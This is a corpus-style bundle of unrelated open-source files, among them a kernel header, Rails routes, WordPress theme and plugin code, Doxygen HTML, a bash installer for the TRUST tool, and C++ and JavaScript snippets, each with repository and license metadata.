regk_rt_trace_wp6 0x00000040 #define regk_rt_trace_wrmem 0x00000008 #define regk_rt_trace_wrmemb 0x0000000a #define regk_rt_trace_wrpreg 0x00000005 #define regk_rt_trace_wrreg 0x00000004 #define regk_rt_trace_wrsreg 0x00000006 #define regk_rt_trace_yes 0x00000001 #endif /* __rt_trace_defs_asm_h */
embeddedarm/linux-2.6.35-ts4800
arch/cris/include/arch-v32/arch/hwregs/asm/rt_trace_defs_asm.h
C
gpl-2.0
5,983
TrocaLivro::Application.routes.draw do resources :trocas resources :usuariolivros devise_for :users get "pages/index" get "login/login" resources :livro_bancos resources :usuarios # The priority is based upon order of creation: # first created -> highest priority. # Sample of regular route: # match 'products/:id' => 'catalog#view' # Keep in mind you can assign values other than :controller and :action # Sample of named route: # match 'products/:id/purchase' => 'catalog#purchase', :as => :purchase # This route can be invoked with purchase_url(:id => product.id) # Sample resource route (maps HTTP verbs to controller actions automatically): # resources :products # Sample resource route with options: # resources :products do # member do # get 'short' # post 'toggle' # end # # collection do # get 'sold' # end # end # Sample resource route with sub-resources: # resources :products do # resources :comments, :sales # resource :seller # end # Sample resource route with more complex sub-resources # resources :products do # resources :comments # resources :sales do # get 'recent', :on => :collection # end # end # Sample resource route within a namespace: # namespace :admin do # # Directs /admin/products/* to Admin::ProductsController # # (app/controllers/admin/products_controller.rb) # resources :products # end # You can have the root of your site routed with "root" # just remember to delete public/index.html. # root :to => 'welcome#index' # See how all your routes lay out with "rake routes" # This is a legacy wild controller route that's not recommended for RESTful applications. # Note: This route will make all actions in every controller accessible via GET requests. match ':controller(/:action(/:id))(.:format)' root :to => "geral#index" end
guijac/TrocaLivro
config/routes.rb
Ruby
gpl-2.0
1,985
<!-- div id="footer"> </div --> </div><!-- #contents end --> </div><!-- #wrapper end --> <?php $options = get_option('pb_options'); if ($options['return_top']) : ?> <div id="return_top"> <a href="#pngfix-right">&nbsp;</a> </div> <?php endif; ?> <script type="text/javascript"> var menu=new menu.dd("menu"); menu.init("menu","menuhover"); </script> <?php wp_footer(); ?> </body> </html>
eliocro/bandolinsmadeira
wp-content/themes/piano-black/footer.php
PHP
gpl-2.0
397
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.6"/> <title>freemind: freemind.modes.common.plugins.ReminderHookBase.TimerBlinkTask Class Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">freemind </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.6 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li><a href="pages.html"><span>Related&#160;Pages</span></a></li> <li><a href="namespaces.html"><span>Packages</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="inherits.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Pages</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><a class="el" href="namespacefreemind.html">freemind</a></li><li class="navelem"><a class="el" href="namespacefreemind_1_1modes.html">modes</a></li><li class="navelem"><a class="el" href="namespacefreemind_1_1modes_1_1common.html">common</a></li><li class="navelem"><a class="el" href="namespacefreemind_1_1modes_1_1common_1_1plugins.html">plugins</a></li><li class="navelem"><a class="el" href="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base.html">ReminderHookBase</a></li><li class="navelem"><a class="el" href="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base_1_1_timer_blink_task.html">TimerBlinkTask</a></li> </ul> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#pub-methods">Public Member Functions</a> &#124; <a href="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base_1_1_timer_blink_task-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">freemind.modes.common.plugins.ReminderHookBase.TimerBlinkTask Class Reference</div> </div> </div><!--header--> <div class="contents"> <div class="dynheader"> Inheritance diagram for freemind.modes.common.plugins.ReminderHookBase.TimerBlinkTask:</div> <div class="dyncontent"> <div class="center"><img src="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base_1_1_timer_blink_task__inherit__graph.png" border="0" usemap="#freemind_8modes_8common_8plugins_8_reminder_hook_base_8_timer_blink_task_inherit__map" alt="Inheritance graph"/></div> <map name="freemind_8modes_8common_8plugins_8_reminder_hook_base_8_timer_blink_task_inherit__map" id="freemind_8modes_8common_8plugins_8_reminder_hook_base_8_timer_blink_task_inherit__map"> </map> <center><span class="legend">[<a href="graph_legend.html">legend</a>]</span></center></div> <div class="dynheader"> Collaboration diagram for freemind.modes.common.plugins.ReminderHookBase.TimerBlinkTask:</div> <div class="dyncontent"> <div class="center"><img src="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base_1_1_timer_blink_task__coll__graph.png" border="0" usemap="#freemind_8modes_8common_8plugins_8_reminder_hook_base_8_timer_blink_task_coll__map" alt="Collaboration graph"/></div> <map name="freemind_8modes_8common_8plugins_8_reminder_hook_base_8_timer_blink_task_coll__map" id="freemind_8modes_8common_8plugins_8_reminder_hook_base_8_timer_blink_task_coll__map"> </map> <center><span class="legend">[<a href="graph_legend.html">legend</a>]</span></center></div> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:aa6428a7eebcec3dd7de6c82e624e4035"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base_1_1_timer_blink_task.html#aa6428a7eebcec3dd7de6c82e624e4035">TimerBlinkTask</a> (boolean stateAdded)</td></tr> <tr class="separator:aa6428a7eebcec3dd7de6c82e624e4035"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab7fda264dd8c1b75a50b4151c11c6277"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base_1_1_timer_blink_task.html#ab7fda264dd8c1b75a50b4151c11c6277">actionPerformed</a> (ActionEvent pE)</td></tr> <tr class="separator:ab7fda264dd8c1b75a50b4151c11c6277"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="aa6428a7eebcec3dd7de6c82e624e4035"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">freemind.modes.common.plugins.ReminderHookBase.TimerBlinkTask.TimerBlinkTask </td> <td>(</td> <td class="paramtype">boolean&#160;</td> <td class="paramname"><em>stateAdded</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="ab7fda264dd8c1b75a50b4151c11c6277"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void freemind.modes.common.plugins.ReminderHookBase.TimerBlinkTask.actionPerformed </td> <td>(</td> <td class="paramtype">ActionEvent&#160;</td> <td class="paramname"><em>pE</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p><div class="dynheader"> Here is the call graph for this function:</div> <div class="dyncontent"> <div class="center"><img src="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base_1_1_timer_blink_task_ab7fda264dd8c1b75a50b4151c11c6277_cgraph.png" border="0" usemap="#classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base_1_1_timer_blink_task_ab7fda264dd8c1b75a50b4151c11c6277_cgraph" alt=""/></div> <map name="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base_1_1_timer_blink_task_ab7fda264dd8c1b75a50b4151c11c6277_cgraph" id="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base_1_1_timer_blink_task_ab7fda264dd8c1b75a50b4151c11c6277_cgraph"> <area shape="rect" id="node2" href="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base.html#addabae6761d2633279fe564ab0117853" title="freemind.modes.common.plugins.\lReminderHookBase.getRemindUserAt\lAsSecondsFromNow" alt="" coords="323,5,565,61"/> <area shape="rect" id="node3" href="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base.html#a4161acb771fe46be965b19594691aa39" title="freemind.modes.common.plugins.\lReminderHookBase.setRemindUserAt" alt="" coords="323,86,565,127"/> <area shape="rect" id="node4" href="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base.html#afef87502862565725f6dd53fafc39528" title="freemind.modes.common.plugins.\lReminderHookBase.displayState" alt="" coords="335,239,553,281"/> <area shape="rect" id="node5" href="classfreemind_1_1extensions_1_1_node_hook_adapter.html#a5dc3f6951adfb0e15eb69acb57aa34fb" title="freemind.extensions.Node\lHookAdapter.getNode" alt="" coords="649,126,821,167"/> <area shape="rect" id="node6" href="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base.html#a6cede59f42f78671e8ba39da4a1dbeea" title="freemind.modes.common.plugins.\lReminderHookBase.getStateKey" alt="" coords="626,191,843,233"/> <area shape="rect" id="node7" href="classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base.html#a932aca42546f43d994a7ea973417ce12" title="freemind.modes.common.plugins.\lReminderHookBase.nodeRefresh" alt="" coords="626,257,843,298"/> <area shape="rect" id="node8" href="interfacefreemind_1_1modes_1_1_mind_map_node.html#a83d7f4de5c123740d92dba20d891ff7b" title="freemind.modes.MindMapNode.isRoot" alt="" coords="613,323,856,349"/> <area shape="rect" id="node9" href="interfacefreemind_1_1modes_1_1_mind_map_node.html#acbc6c9f7e3d475bbcd7caad1cc11cea0" title="freemind.modes.MindMapNode.get\lParentNode" alt="" coords="623,374,846,415"/> </map> </div> </p> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li>C:/Source/freemind/freemind/modes/common/plugins/<a class="el" href="_reminder_hook_base_8java.html">ReminderHookBase.java</a></li> </ul> </div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated on Tue Apr 21 2015 12:44:39 for freemind by &#160;<a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.6 </small></address> </body> </html>
mibischo/freemind
doxygen/html/classfreemind_1_1modes_1_1common_1_1plugins_1_1_reminder_hook_base_1_1_timer_blink_task.html
HTML
gpl-2.0
12,355
#!/usr/bin/env bash # INSTALLING TRUST ##### # TRUST: Tracking repeats using significance and transitivity. # A method for ab-initio determination of internal repeats in proteins. # The high sensitivity and accuracy of the method is achieved by exploiting the concept of transitivity of alignments. # ISMB/ECCB 2004 conference (Glasgow, UK), appeared in Bioinformatics. 2004 Aug 4;20 Suppl 1:i311-i317. # http://www.ibi.vu.nl/programs/trustwww/ ###################### ### Housekeeping shopt -s nocasematch # making comparisons case-insensitive set -euo pipefail # exit on errors and undefined vars PARENT_PATH=$( cd "$(dirname "${BASH_SOURCE[0]}")" ; cd .. ; pwd -P ) # other files are located one directory above . "$PARENT_PATH/configTRAL_path.cfg" || { # provide paths from config file echo "configTRAL_path.cfg not found" exit 1 } ###################### ### Installation TRUST mkdir -p "$TRAL_EXT_SOFTWARE/TRUST_Align" if [ ! -d "$TRAL_EXT_SOFTWARE/TRUST_Align/Align" ]; then # test if not already in directory LINK_TRUST="http://www.ibi.vu.nl/downloads/trust.tgz" wget "$LINK_TRUST" -P "$TRAL_EXT_SOFTWARE/TRUST_Align" && tar -xvzf "$TRAL_EXT_SOFTWARE/TRUST_Align/trust.tgz" -C "$TRAL_EXT_SOFTWARE/TRUST_Align" && rm -rf "$TRAL_EXT_SOFTWARE/TRUST_Align/trust.tgz" || { echo "Was not able to download or unzip TRUST" exit 1 } fi # Create an executable file TRUST Align="$TRAL_EXT_SOFTWARE/TRUST_Align/Align" echo '#!/bin/sh # wrapper file to easily start TRUST java -Xmx30G -cp' $Align ' nl.vu.cs.align.SelfSimilarity "$@"' > "$TRAL_EXT_SOFTWARE/TRUST_Align/TRUST" chmod +x "$TRAL_EXT_SOFTWARE/TRUST_Align/TRUST" cp "$TRAL_EXT_SOFTWARE/TRUST_Align/TRUST" "$INSTALLATION_PATH" # copy wrapper file to execute TRUST into system path chmod +x "$INSTALLATION_PATH/TRUST" && echo -e "\nTRUST is in your path $INSTALLATION_PATH and can be executed with the command \"TRUST\"" # TRUST is executable with the command TRUST ###################### ### Uninstall TRUST # rm -rf "$TRAL_EXT_SOFTWARE/TRUST_Align" # rm -rf "$INSTALLATION_PATH/TRUST"
elkeschaper/tral
easy_setup/install_ext_software/trust.sh
Shell
gpl-2.0
2,120
#include "symbolset.h" #include "error.h" #include <vector> SymbolSet::SymbolSet() { level = 0; } int SymbolSet::enter(SymbolItem& item) { int offset = table.end()->getOffset(); int itemsize = item.getSize(); //[FIXME] will we be 4 incedent? item.setOffset(offset+itemsize); table.push_back(item); return (table.size()-1); } int SymbolSet::locIdent(string name) { int i = level; int j = 0; do { j = display[i]->getLast(); while (table[j].getName() != name) j = table[j].getLink(); i--; } while (i >= 0 && j == -1); return j; } TokenType SymbolSet::getType(string name) { int index = locIdent(name); if (index == -1) return TokenType::notyp; } void SymbolSet::enterproc(SymbolItem& _item, SymbolPro& _pro) { level++; table.push_back(_item); protable.push_back(_pro); display[level] = &_pro; } void SymbolSet::exitproc() { level--; }
SivilTaram/Compiler
Project/Compiler/SymbolTable.cpp
C++
gpl-2.0
868
/* Copyright (C) 2014 Erik Ogenvik This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ #ifndef STUBDATABASE_H_ #define STUBDATABASE_H_ Database * Database::m_instance = NULL; int Database::initConnection() { return 0; } Database::Database() : m_rule_db("rules"), m_queryInProgress(false), m_connection(NULL) { } Database::~Database() { } void Database::shutdownConnection() { } int Database::registerRelation(std::string & tablename, const std::string & sourcetable, const std::string & targettable, RelationType kind) { return 0; } const DatabaseResult Database::selectSimpleRowBy(const std::string & name, const std::string & column, const std::string & value) { return DatabaseResult(0); } Database * Database::instance() { if (m_instance == NULL) { m_instance = new Database(); } return m_instance; } int Database::createInstanceDatabase() { return 0; } int Database::registerEntityIdGenerator() { return 0; } int Database::registerEntityTable(const std::map<std::string, int> & chunks) { return 0; } int Database::registerPropertyTable() { return 0; } int Database::initRule(bool createTables) { return 0; } int Database::registerSimpleTable(const std::string & name, const MapType & row) { return 0; } int Database::createSimpleRow(const std::string & name, const std::string & id, const std::string & columns, const std::string & values) { return 0; } const DatabaseResult Database::selectRelation(const std::string & name, const std::string & id) { return DatabaseResult(0); } int Database::createRelationRow(const std::string & name, const std::string & id, const std::string & other) { return 0; } int Database::removeRelationRow(const std::string & name, const std::string & id) { return 0; } int Database::removeRelationRowByOther(const std::string & name, const std::string & other) { return 0; } bool Database::hasKey(const std::string & table, const std::string & key) { return false; } int Database::putObject(const std::string & table, const std::string & key, const MapType & o, const StringVector & c) { return 0; } int Database::getTable(const std::string & table, std::map<std::string, Atlas::Objects::Root> & contents) { return 0; } int Database::clearPendingQuery() { return 0; } int Database::updateObject(const std::string & table, const std::string & key, const MapType & o) { return 0; } int Database::clearTable(const std::string & table) { return 0; } long Database::newId(std::string & id) { return 0; } void Database::cleanup() { if (m_instance != 0) { delete m_instance; } m_instance = 0; } int Database::registerThoughtsTable() { return 0; } const DatabaseResult Database::selectProperties(const std::string & id) { return DatabaseResult(0); } const DatabaseResult Database::selectEntities(const std::string & loc) { return DatabaseResult(0); } int Database::encodeObject(const MapType & o, std::string & data) { return 0; } int Database::decodeMessage(const std::string & data, MapType &o) { return 0; } int Database::insertEntity(const std::string & id, const std::string & loc, const std::string & type, int seq, const std::string & value) { return 0; } int Database::updateEntity(const std::string & id, int seq, const std::string & location_data, const std::string & location) { return 0; } int Database::updateEntityWithoutLoc(const std::string & id, int seq, const std::string & location_data) { return 0; } int Database::dropEntity(long id) { return 0; } int Database::insertProperties(const std::string & id, const KeyValues & tuples) { return 0; } int Database::updateProperties(const std::string & id, const KeyValues & tuples) { return 0; } const DatabaseResult Database::selectThoughts(const std::string & loc) { return DatabaseResult(0); } int Database::replaceThoughts(const std::string & id, const std::vector<std::string>& thoughts) { return 0; } int Database::launchNewQuery() { return 0; } #endif /* STUBDATABASE_H_ */
ytaben/cyphesis
tests/stubs/common/stubDatabase.h
C
gpl-2.0
5,793
jQuery(window).bind('load', function() { jQuery('.foreground').toggle('slow'); }); jQuery(function() { jQuery('.view-portfolio .views-field-field-portfolio-image a').hide(); }); jQuery(window).bind('load', function() { var i = 1; var imgs = jQuery('.view-portfolio .views-field-field-portfolio-image a').length; var int = setInterval(function() { //console.log(i); check to make sure interval properly stops if(i >= imgs) clearInterval(int); jQuery('.view-portfolio .views-field-field-portfolio-image a:hidden').eq(0).fadeIn(300); i++; }, 300); });
Mangalesh/Drupal-742
sites/all/themes/freesample/js/jquery.loader.js
JavaScript
gpl-2.0
571
<? /* * $Date: 2010/02/09 15:49:45 $ * $Revision: 1.0 $ */ /* * Backend Class for use in all Zamango plugins */ /******************************************************************************/ if (!defined('WP_CONTENT_URL')) define('WP_CONTENT_URL', get_option('siteurl') . '/wp-content'); if (!defined('WP_PLUGIN_URL')) define('WP_PLUGIN_URL', WP_CONTENT_URL . '/plugins'); if (!defined('WP_CONTENT_DIR')) define('WP_CONTENT_DIR', ABSPATH . 'wp-content'); if (!defined('WP_PLUGIN_DIR')) define('WP_PLUGIN_DIR', WP_CONTENT_DIR . '/plugins'); /******************************************************************************/ if (!class_exists('zmg_admin')) { define('ZMG_ADMIN', '1.3'); define('ZMG_ADMIN_DIR_NAME', basename(dirname(__FILE__))); define('ZMG_ADMIN_URL', WP_PLUGIN_URL . '/' . ZMG_ADMIN_DIR_NAME); define('ZMG_ADMIN_DIR', WP_PLUGIN_DIR . '/' . ZMG_ADMIN_DIR_NAME); define('ZMG_LOGO', ZMG_ADMIN_URL . '/img/zamango_logo.png'); class zmg_admin { var $top_hook = 'zmg-plugins'; var $hook = 'zmg-plugins'; var $access_lvl = 'manage_options'; var $page_title = 'Zamango Plugins'; var $menu_title = 'Zamango'; var $include_js = array(); var $include_css = array(); var $include_admin_js = array(); var $include_admin_css = array(); var $descriptions = array(); var $no_promo = false; /**********************************************************************/ function zmg_admin() { add_action('admin_menu', array($this, 'add_options_page')); add_action('admin_print_styles', array($this, 'enqueue_admin_css')); add_action('admin_print_scripts', array($this, 'enqueue_admin_js')); add_action('admin_print_scripts', array($this, 'zmg_hack_js')); add_action('zmg-plugin-options-' . $this->hook, array($this, 'zamango_page')); } /**********************************************************************/ function admin_init() { load_plugin_textdomain($this->top_hook, ZMG_ADMIN_URL, ZMG_ADMIN_DIR_NAME); load_plugin_textdomain($this->hook, $this->plugin_url, $this->dir_name); $this->fetch_options(); add_action('admin_menu', array($this, 'add_plugin_options_page')); add_action('wp_print_styles', array($this, 'enqueue_css')); add_action('admin_print_styles', array($this, 'enqueue_admin_css')); add_action('wp_print_scripts', array($this, 'enqueue_js')); add_action('admin_print_scripts', array($this, 'enqueue_admin_js')); add_action('zmg-plugin-options-' . $this->hook, array($this, 'plugin_option_page_content')); add_filter('zamango-plugins', array($this, 'zmg_plugin')); add_filter('plugin_action_links', array($this, 'action_links'), 10, 2); } /**********************************************************************/ function add_options_page() { add_menu_page(__($this->page_title, $this->top_hook), __($this->menu_title, $this->top_hook), $this->access_lvl, $this->top_hook, array($this, 'options_page'), ZMG_ADMIN_URL . '/img/zamango_icon.png'); } /**********************************************************************/ function add_plugin_options_page() { add_submenu_page($this->top_hook, __($this->page_title, $this->hook), __($this->menu_title, $this->hook), $this->access_lvl, $this->hook, array($this, 'options_page')); } /**********************************************************************/ function in_plugin_page() { return (isset($_GET['page']) && $_GET['page'] == $this->hook); } /**********************************************************************/ function add_css($name, $url = '', $is_admin = '', $condition = '') { if ($condition && is_callable($condition)) { if ($is_admin) $this->include_admin_css[] = array($name, $url, $condition); else $this->include_css[] = array($name, $url, $condition); } else if ($is_admin) $this->include_admin_css[] = array($name, $url, NULL); else $this->include_css[] = array($name, $url, NULL); } /**********************************************************************/ function enqueue_css() { foreach ($this->include_css as $css) if (!$css[2]) wp_enqueue_style($css[0], $css[1]); else if (call_user_func($css[2])) wp_enqueue_style($css[0], $css[1]); } /**********************************************************************/ function enqueue_admin_css() { if (!$this->in_plugin_page()) return false; wp_enqueue_style('dashboard'); wp_enqueue_style('thickbox'); wp_enqueue_style('global'); wp_enqueue_style('wp-admin'); wp_enqueue_style('zamango-admin', ZMG_ADMIN_URL . '/zmg_admin.css'); foreach ($this->include_admin_css as $css) if (!$css[2]) wp_enqueue_style($css[0], $css[1]); else if (call_user_func($css[2])) wp_enqueue_style($css[0], $css[1]); } /**********************************************************************/ function add_js($name, $url = '', $is_admin = '', $condition = '') { if ($condition && is_callable($condition)) { if ($is_admin) $this->include_admin_js[] = array($name, $url, $condition); else $this->include_js[] = array($name, $url, $condition); } else if ($is_admin) $this->include_admin_js[] = array($name, $url, NULL); else $this->include_js[] = array($name, $url, NULL); } /**********************************************************************/ function enqueue_js() { if (is_admin()) return false; foreach ($this->include_js as $js) if (!$js[2]) wp_enqueue_script($js[0], $js[1]); else if (call_user_func($js[2])) wp_enqueue_script($js[0], $js[1]); } /**********************************************************************/ function enqueue_admin_js() { if (!$this->in_plugin_page()) return false; wp_enqueue_script('postbox'); wp_enqueue_script('dashboard'); wp_enqueue_script('thickbox'); wp_enqueue_script('media-upload'); wp_enqueue_script('zamango-admin', ZMG_ADMIN_URL . '/zmg_admin.js'); foreach ($this->include_admin_js as $js) if (!$js[2]) wp_enqueue_script($js[0], $js[1]); else if (call_user_func($js[2])) wp_enqueue_script($js[0], $js[1]); } /**********************************************************************/ function zmg_hack_js() { wp_enqueue_script('zmg_hack', ZMG_ADMIN_URL . '/zmg_hack.js'); } /**********************************************************************/ function reg_activation_hook() { if (preg_match("/wp-admin\/plugins\.php/", $_SERVER['REQUEST_URI'])) register_activation_hook($this->filename, array($this, 'activate')); } /**********************************************************************/ function reg_deactivation_hook() { if (preg_match("/wp-admin\/plugins\.php/", $_SERVER['REQUEST_URI'])) register_deactivation_hook($this->filename, array($this, 'deactivate')); } /**********************************************************************/ function fetch_options() { if (!$this->hook) return false; $options = get_option($this->hook); foreach ($this->default_options as $opt_name => $option) $this->options[$opt_name] = (isset($options[$opt_name])) ? $options[$opt_name] : $option["default"]; } /**********************************************************************/ function save_options() { if (!$this->hook) return false; update_option($this->hook, $this->options); } /**********************************************************************/ function validate_params() { if (!$this->hook) return false; foreach ($this->default_options as $opt_name => $option) { $error = (isset($option["error"])) ? __($option["error"], $this->hook) : __("Not defined or invalid parameter", $this->top_hook); if (isset($option["stoper"]) && $option["stoper"]()) continue; if (isset($option["definedornot"])) { $this->options[$opt_name] = isset($_POST[$opt_name]); continue; } if (isset($_POST[$opt_name])) { $this->options[$opt_name] = stripslashes($_POST[$opt_name]); if (isset($option["regs"])) foreach ($option["regs"] as $reg) if (! preg_match($reg, $this->options[$opt_name])) { $this->errors[$opt_name] = $error; continue(2); } $len = mb_strlen($this->options[$opt_name], 'UTF-8'); if (isset($option["minlen"]) && $len < $option["minlen"]) { $this->errors[$opt_name] = $error; continue; } if (isset($option["maxlen"]) && $len > $option["maxlen"]) { $this->errors[$opt_name] = $error; continue; } if (isset($option["max"]) || isset($option["min"])) { if (! preg_match("/^\d+$/", $this->options[$opt_name])) { $this->errors[$opt_name] = $error; continue; } if (isset($option["max"]) && $this->options[$opt_name] > $option["max"]) { $this->errors[$opt_name] = $error; continue; } if (isset($option["min"]) && $this->options[$opt_name] < $option["min"]) { $this->errors[$opt_name] = $error; continue; } } } else { if (isset($option["required"])) { $this->errors[$opt_name] = $error; continue; } if (isset($option["notdefined"])) { $this->options[$opt_name] = (isset($option["notdefined"])) ? $option["notdefined"] : $option["default"]; } } if (isset($option["callback"]) && is_callable($option["callback"])) $option["callback"]($this); } } /**********************************************************************/ function action_links($links, $file) { static $this_plugin; if (empty($this_plugin)) $this_plugin = $this->filename; if ($file == $this_plugin) { $settings_link = '<a href="' . admin_url('admin.php?page=' . $this->hook) . '">' . __('Settings') . '</a>'; array_unshift( $links, $settings_link ); foreach ($links as $key => $value) if (preg_match("/plugin-editor\.php/", $value)) unset($links[$key]); } return $links; } /**********************************************************************/ function zamango_page() { $rows = array(); $rows = apply_filters('zamango-plugins', $rows); $this->postbox('zamango-plugins', __('Active Zamango plugins', $this->top_hook), $this->table($rows, 'col', 'zamango-plugins-table', '')); } /**********************************************************************/ function zmg_plugin($rows) { $row = array(); $row[0][] = array(__($this->page_title, $this->hook) . " v." . $this->version); $row[0][] = array('<a href="' . admin_url('admin.php?page=' . $this->hook) . '">' . __('Settings') . '</a>'); $rows[] = $row; return $rows; } /**********************************************************************/ function options_page() { echo "<div class='wrap'>"; $this->zmg_header(); echo "<div id='zmg_central'>"; echo "<div id='zmg_container' class='postbox-container " . "metabox-holder meta-box-sortables ui-sortable'>"; do_action("zmg-plugin-options-" . $this->hook); echo "</div>"; if (!$this->no_promo) { echo "<div id='zmg_adds' class='postbox-container " . "metabox-holder meta-box-sortables ui-sortable'>"; echo "<div id='zmg_adds_content' style='display:none'>"; $this->adds(); $this->postbox('', '', ''); echo "</div>"; echo "</div>"; } else { ?> <script type="text/javascript"><!-- jQuery(document).ready(function(){ jQuery('#zmg_container').css('width', '100%'); }); //--></script> <? } echo "<div class='zmg_clear'></div>"; echo "</div>"; $this->zmg_footer(); echo "</div>"; $this->print_descriptions(); } /**********************************************************************/ function adds() { $url = 'http://account.zamango.com/json/ads?language=' . WPLANG; $opts = array ( 'method' => 'GET', 'timeout' => 60, 'user-agent' => 'Mozilla/5.0 (compatible; ' . $this->page_title . '/' . $this->version . '; +http://www.zamango.com/about-zamango.html)', 'headers' => array('Referer' => get_option('siteurl')) ); $response = wp_remote_request($url, $opts); if (is_object($response) && $response->errors) { echo (array_key_exists('http_request_failed', $response->errors)) ? $response->errors['http_request_failed'][0] : 'Unknown error'; return false; } if ($response['response']['code'] != 200) { echo $response['response']['code'] . ': ' . $response['response']['message']; return false; } $body_len = $response['headers']['content-length']; $real_len = strlen($response['body']); if ($body_len != $real_len) { echo "Fetched only $real_len of $body_len bytes"; return false; 